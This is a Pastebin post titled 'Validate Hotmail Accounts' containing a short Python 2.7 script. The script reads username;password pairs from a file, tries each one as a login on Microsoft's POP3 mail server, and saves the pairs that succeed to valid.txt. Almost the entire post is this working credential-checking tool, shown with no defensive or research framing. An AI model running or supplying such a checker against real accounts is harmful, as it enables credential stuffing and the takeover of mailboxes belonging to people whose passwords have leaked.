fmasanori

Validate Hotmail Accounts

Aug 23rd, 2012
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.54 KB | None | 0 0
  1. #Python 2.7
  2.  
  3. import poplib
  4.  
  5. pwlist = open('passwd.txt').readlines()
  6.  
  7. for pair in pwlist:
  8.   valid = open('valid.txt', 'a')
  9.   un, pw = pair.strip().split(';')
  10.   try:
  11.     M = poplib.POP3_SSL('pop3.live.com', 995)
  12.     print M.user(un)
  13.   except:
  14.     print 'Connection error'
  15.  
  16.   try:
  17.     pwmsg = M.pass_(pw)
  18.     print pwmsg
  19.     if pwmsg[0:3] == '+OK':
  20.         valid.write(';'.join([un, pw+'\n']))
  21.         print 'Valid account:', un, 'found.'
  22.     M.quit()
  23.   except:
  24.     print 'Invalid account:', un
  25.  
  26.   valid.close()
  27.  
  28. print 'Finished'
Add Comment
Please, Sign In to add comment